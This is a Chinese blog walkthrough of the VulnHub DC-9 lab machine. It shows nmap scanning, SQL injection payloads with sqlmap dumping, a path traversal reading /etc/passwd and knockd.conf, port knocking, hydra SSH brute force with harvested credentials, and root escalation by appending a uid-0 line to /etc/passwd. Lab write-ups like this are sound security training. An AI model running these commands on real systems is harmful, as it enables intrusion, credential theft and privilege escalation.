DC-9靶场实战

   很久没有做靶机实战了,因为最近忙着做深度学习的事情还有论文的东西,话不多说,现在开始吧

前言

  这次的靶机是vulnhub的第9台靶机,下载地址DC: 9 ~ VulnHub,难度为中等。下载解压后,用VMware打开,依次设置其网络适配器为nat模式

一.准备工作

输入命令

arp-scan -l

可以看出,这台靶机VMware给其分配的ip地址,继续输入以下命令

nmap -sn --min-parallelism 100 --min-hostgroup 100 192.168.188.132

-sn 代表存活主机扫描,不进行端口测探。

–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。

–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。

更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。

  可以得知,靶机开放了22端口和80端口,但22端口被过滤了,可以猜测使用到了knockd服务,这也是我们这次靶机的突破点,可以再开始之前先了解下knockd服务。

  我们在浏览器上访问这个ip地址,可以发现这里面涉及到有数据交互,那么就可能存在sql注入漏洞。

输入1' or 1=1#,弹出了很多信息.

输入1' or 1=2#,发现并没有弹出任何信息

此时打开burpsuite进行抓包,将抓好的包保存到kali中

输入以下命令进行sqlmap爆破

sqlmap -r target --dump --batch

target 是刚刚用burpsuite保存的文件的名称。

–dump 代表读取数据库中所有内容

–batch 表示自动化运行,不会给出选项供用户选择。

可以得知其使用的数据库以及数据库的表还有admin的password,复制这个密码到MD5的相关破解网站

可以得知其明文为transorbital1,登陆网站后台

发现文件提示File does not exist,可能会存在文件包含漏洞,控制文件包含的参数可以尝试常用的file,include,require等常见参数,包含内容可以使用/etc/passwd来尝试,但是没有包含成功。最后改用burpsuite+字典进行爆破

文件内容的字典可以使用 kali自带的字典/usr/share/wordlists/wfuzz/vulns/dirTraversal-nix.txt。字典跑完后点击Length进行排序,文件长度最长的请求应该就是文件包含成功了,然后在浏览器中访问该地址,发现包含文件成功。

然后再浏览器访问该地址

http://192.168.188.132/manage.php?file=../../../..//etc/passwd

二.knock服务

   如果开启了knockd服务,那么会存在一个配置文件/etc/knockd.conf,该配置文件中保存着需要访问的端口顺序。我们可以通过文件包含漏洞查看该配置文件,输入以下代码

http://192.168.188.132/manage.php?file=../../../..//etc/knockd.conf

这边提示我们需要依次访问7469,8475,9842端口,此时我们需要在本地安装knockd服务,输入以下代码

apt install knockd
knock 192.168.188.132 7469 8475 9842

此时我们可以访问ssh端口了

三.爆破密码

   在爆破之前需要准备好字典,在数据库的users库中存在着一些账号和密码,用sqlmap把这些信息查询出来,做成字典。

sqlmap -r target -D users --dump --batch

-D指定需要查询的库

sqlmap -r target -D users -T UserDetails  -C username --dump --batch

获取username列的所有值

sqlmap -r target -D users -T UserDetails  -C password --dump --batch

获取password列的所有值

将所有的username保存为user.txt,密码保存为password.txt,然后使用hydra进行爆破

hydra -L user.txt -P password.txt  ssh://192.168.188.132

-L 指定账号文件字典,如果需要指定单个账号则使用小写的-l

-P 指定密码文件字典,如果需要指定单个密码则使用小写的-p

成功获取了三个账号的密码:login: chandlerb password: UrAG0D!login: joeyt password: Passw0rdlogin: janitor password: Ilovepeepee,

四.提权

  经过测试前两个账号没有发现什么特殊文件,也无法提权。登陆janitor账号后,在文件~/.secrets-for-putin中发现了一个密码文件passwords-found-on-post-it-notes.txt

ls -la

列出当前目录下的所有文件和相关权限及隐藏文件

发现里面有一些密码,此时下载下来,然后进行hydra爆破

hydra -L user.txt -P password2.txt  ssh://192.168.188.132

爆破出了一个新的账号密码 login: fredf password: B4-Tru3-001,登陆这个账号尝试一下提权操作

发现可以进行sudo -l进行提权,并且发现了一个可以执行的test文件,试着执行一下

/opt/devstuff/dist/test/test

根据提示猜测它的功能是追加内容到一个文件中去,最后在 /opt/devstuff中发现了一个文件 test.py,这个Python便是test的源码,查看这个源码分析test的功能与使用方法

   查看源码发现这个程序的功能是将参数1文件内容追加到参数2文件中。所以我们可以将一个账号信息追加到 /etc/password中。/etc/passwd 保存着所有账号的信息,可以通过在该文件中添加一个具有root权限的账号信息来获取root权限。

  首先我们来了解一下/etc/passwd内容的格式,以root为例:

root:x:0:0:root:/root:/bin/bash

字段1: 用户名。

字段2:密码占位符,x代表有密码,也可以直接填入密码的密文。

字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。

字段4:用户的gid,也就是所属用户组的id。

字段5:用户信息(弃用)。

字段6:用户家目录。

字段7:用户登陆系统后使用的shell。

通过openssl生成密码密文

openssl passwd -1 -salt root tp1679

passwd 代表生成密码的密文。

-1 代表使用MD5的加密方法。

-salt 代表密码加盐。

第一个root是账号,第二个tp1679是密码。

更详细的内容可以参考https://blog.csdn.net/jiajiren11/article/details/80376371,/etc/shadow中密码段的生成方式

我们将 root:$1$rpsate$2r3jb6WfuHP8DFRd31cUF1:0:0::/root:/bin/bash追加到 /etc/passwd即可。现将这一字符串写入一个文件中,然后再通过test程序来追加到/etc/passwd

经过测试字段6用户家目录必须加上,否则无法识别到账号。

字段2密码一栏不能为空,否则不能认证成功,上面字段2是密码root加密后的密文

echo 'ka:$1$ka$G.SeFFPjWUtRhyjgpBVDk/:0:0::/root:/bin/bash' > /tmp/b
sudo /opt/devstuff/dist/test/test /tmp/b /etc/passwd

发现已经成功写入,现在可以跳转到具有root权限的账号root了

su root

cat /root/theflag.txt

五.总结

   总的来说还是很花时间的 差不多用了2个多小时才做出来,出了很多问题需要去查资料,但是收获也是很大的,坚持就是胜利

  • 10
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值